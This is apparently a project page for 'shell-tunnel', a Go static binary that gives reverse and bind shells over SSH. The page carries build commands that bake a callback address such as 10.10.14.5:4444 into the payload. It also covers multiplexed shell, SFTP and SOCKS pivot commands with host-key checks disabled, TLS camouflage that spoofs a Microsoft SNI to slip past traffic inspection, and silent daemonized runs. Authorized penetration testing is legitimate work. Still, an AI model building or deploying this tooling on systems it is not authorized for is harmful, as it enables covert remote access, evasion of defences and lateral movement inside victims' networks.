Skip to pivot topology and binary baker
[ver] 1.4.2 [bin] GO STATIC BINARY [lic] GPLV3 [scope] AUTHORIZED TESTING ONLY

SHELL-TUNNEL

Static SSH server for bind and reverse shells, PTY and SFTP

Bake credentials, callback routing, and optional TLS camouflage into one zero-CGO Go static binary. Drop it on an authorized target and drive interactive PTY shells, SFTP file transfers, and -L / -R / -D pivots straight from a stock ssh client with nothing extra to install on your box. Preservation fork of Ferdinor's undertow (2021) — same GPLv3 license, modernized Go crypto dependencies, and CI-verified static releases. For authorized security testing with explicit written permission only.

[topo] LIVE PIVOT SCHEMATIC Target dials 10.10.14.5:4444 · Operator connects to 127.0.0.1:41827
[rev] REVERSE CALLBACK
Interactive shell-tunnel SSH pivot topology Architectural diagram connecting Operator Box (Kali) through an Encrypted SSH Tunnel to Target Host (Static Binary), dynamically reflecting Reverse callback versus Bind listener mode and optional TLS wrapping. [01] OPERATOR BOX (KALI) Stock OpenSSH · zero client install HANDLER CALLBACK LISTENER 0.0.0.0:4444 ALLOCATED LOOPBACK BIND 127.0.0.1:41827 /tmp/shell-tunnel-41827.sock [TLS WRAPPER] SNI: www.microsoft.com ALPN: h2, http/1.1 · hides SSH banner ENCRYPTED SSH TUNNEL dial home :4444 (retry 5s · keepalive 15s) ssh 127.0.0.1:41827 → PTY · SFTP · -L/-R/-D rs-info reports user@host · zero known_hosts ssh -p 8888 svc@target (direct TCP) OpenSSH_8.9 → PTY · SFTP · -L/-R/-D constant-time pass or baked ED25519 pubkey [02] TARGET HOST linux/amd64 · static binary · openpty OUTBOUND CALLBACK TARGET 10.10.14.5:4444 BAKED PAYLOAD PROFILE CLI on · foreground artifact: *-linux-x64
Connection mode
Bake options (ldflags)
Target OS / arch
[shell] BUILD COMMAND build.sh · reverse · linux/amd64
./build.sh reverse 10.10.14.5:4444
Verbatim runtime status

[ok] listening on 0.0.0.0:4444

[ok] listening at home on 127.0.0.1:41827

Generated artifacts in bin/

bin/shell-tunnel-10-10-14-5-4444-linux-x64 (plus linux-x86, windows-x64/x86)

bin/handler-10-10-14-5-4444 (chmod 700 · starts listener + prints connect commands)

[mux] SINGLE SOCKET · FOUR CHANNELS

ControlMaster Multiplexer Bay

When a callback lands on loopback port 41827, the handler prints two paste-ready commands. Open one authenticated OpenSSH ControlMaster socket at /tmp/shell-tunnel-41827.sock, then multiplex PTY shells, SFTP file transfers, TCP port forwards, and a SOCKS5 proxy over the same tunnel — using stock ssh and sftp.

[sock] /tmp/shell-tunnel-41827.sock Auth once · 60s ServerAlive × 10 (10m VPN tolerance) · per-run key skips ~/.ssh/known_hosts
[shell] 1. MASTER SOCKET (RUN ONCE)
ssh -fNM -S /tmp/shell-tunnel-41827.sock -p 41827 svc@127.0.0.1 \
  -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \
  -o ServerAliveInterval=60 -o ServerAliveCountMax=10 -o ExitOnForwardFailure=yes
[shell] 2. INTERACTIVE PTY SESSION
ssh -S /tmp/shell-tunnel-41827.sock -p 41827 svc@127.0.0.1

Full PTY over stock OpenSSH

Spawns openpty on Linux (falling back to /bin/sh on bash-less hosts) and ConPTY on Windows 10 17763+. Tab completion, job control, window resizes, and full-screen editors work natively. Standard SSH escape keys remain live: ~^Z backgrounds, ~# lists active forwards, and ~. drops the session.

[!] Host-key flags UserKnownHostsFile=/dev/null and StrictHostKeyChecking=no keep ephemeral keys out of ~/.ssh/known_hosts, disabling normal host verification. Use only on controlled lab or authorized engagement networks.
[ref] VERIFIED AGAINST BUILD.SH & MAIN.GO

Build & Runtime Flags

Every ./build.sh option compiles down to a Go -ldflags variable in main.go so Makefile and manual go build commands share the exact same configuration contract. See docs/USAGE.md for extended examples.

Build-time options (./build.sh <mode> <target> [options])
Option Makefile / ldflags Default Behavior
reverse <IP:PORT> LHOST / LPORT "" / 31337 Dial home to listener address (retrying every 5s with 15s SSH keepalives); generates chmod 700 handler script
listen <PORT> LPORT 31337 Bind directly on target port and clear LHOST so binary starts in listening mode
-u, --user USER LUSER svc Username used when dialling home and printed in ControlMaster connect commands
-b, --bind-port PORT BPORT 0 Loopback bind port allocated on operator box (0 = random; auto-adjusted if equal to LPORT)
-p, --password PASS RS_PASS random 16-hex Password baked into main.localPassword and verified via constant-time comparison
-k, --pubkey FILE RS_PUB "" Reads an SSH public key file and bakes it into main.authorizedKey
-s, --shell PATH RS_SHELL /bin/bash Default Unix shell (falls back to /bin/sh), or ssh-shellhost.exe path on pre-ConPTY Windows
--nocli NOCLI=1 "" Disable runtime CLI parsing and silence status output; binary runs strictly from baked-in ldflags
--daemonize DAEMONIZE=1 "" Auto-detach into background on launch to free interactive delivery shells
--tls TLS_WRAP=1 "" Wrap SSH inside TLS (h2, http/1.1 ALPN) so the SSH banner never crosses the wire in plaintext
--sni HOSTNAME TLS_SNI www.microsoft.com SNI hostname placed in TLS ClientHello and runtime self-signed cert (implies --tls)
--dry-run / --show-password wrapper only false Preview make variables and output paths without compiling, or always display the baked password
Runtime binary flags (available when compiled without --nocli)
Flag Default Behavior
-l false Start in listening mode (overrides baked reverse target)
-p PORT LPORT (31337) Listening port in bind mode, or remote handler port in reverse mode
-b PORT BPORT (0) Reverse mode only: loopback bind port requested on the handler (0 = random)
-s PATH /bin/bash Shell to spawn on Unix, or ssh-shellhost.exe path on pre-Windows 10 17763
-d false Detach and continue running in the background
-N false Deny incoming shell, exec, SFTP, and local forward requests (hardened callback catcher)
-v false Emit [i] progress lines alongside [ok]/[!]/[x] output; honors NO_COLOR and pipes
-V, --version — Print shell-tunnel v1.4.2 and exit 0
[ci] 6 RELEASE TARGETS · 18 TESTS

Platform Support

Zero-CGO static binaries compile on every commit across Linux, Windows, and macOS in CI. 18 in-process integration tests exercise the real server on loopback against a stock SSH client.

Linux [ok] TESTED

x86_64 · aarch64 release tarballs (+ linux-x86 via build.sh)

Full openpty terminal allocation with resize tracking and automatic fallback to /bin/sh. Verified on ubuntu-24.04 CI.

Windows [ok] TESTED

x86_64 · aarch64 release zips (+ windows-x86.exe via build.sh)

Native ConPTY on Windows 10 17763+ tested live on Windows 11 and windows-2022 CI. Legacy Windows supports -s ssh-shellhost.exe.

macOS [!] BUILD ONLY

aarch64 · x86_64 release tarballs (macos-latest CI)

Cross-compiled on every tagged release, unsigned, and not exercised at runtime. First run requires clearing quarantine: xattr -d com.apple.quarantine ./shell-tunnel.

[!] OPERATIONAL LIMITS

Known Issues

Plain trade-offs to weigh before deploying on an authorized engagement. Verify release artifacts against SHA256SUMS.txt published alongside each tag.

  • [!]
    Unsigned binaries & AV/Gatekeeper alerts: No release binary is code-signed. Windows SmartScreen, Defender/EDR static detections, and macOS Gatekeeper blocks are expected on first run.
  • [!]
    No host-key pinning on dial-home: Reverse payloads use InsecureIgnoreHostKey because they cannot know an ephemeral handler's key ahead of time. Verify callbacks out of band via remote IP and the rs-info user/host line.
  • [!]
    Initial dial retry only: Dial-home retries every 5s until the handler answers, and sends 15s keepalives once connected. If an established callback drops later, it does not redial — relaunch the payload.
  • [!]
    Self-signed runtime TLS certificate: --tls hides the SSH banner from DPI, but does not authenticate the listener against an active interceptor.
  • [!]
    Credentials live inside the binary: Passwords and authorized keys are embedded via ldflags. Rebuild per engagement and keep chmod 700 handler scripts private.
  • [!]
    Pre-Windows 10 17763 targets: Hosts without ConPTY need -s ssh-shellhost.exe for interactive PTY, or append cmd to the ssh invocation for a non-PTY shell.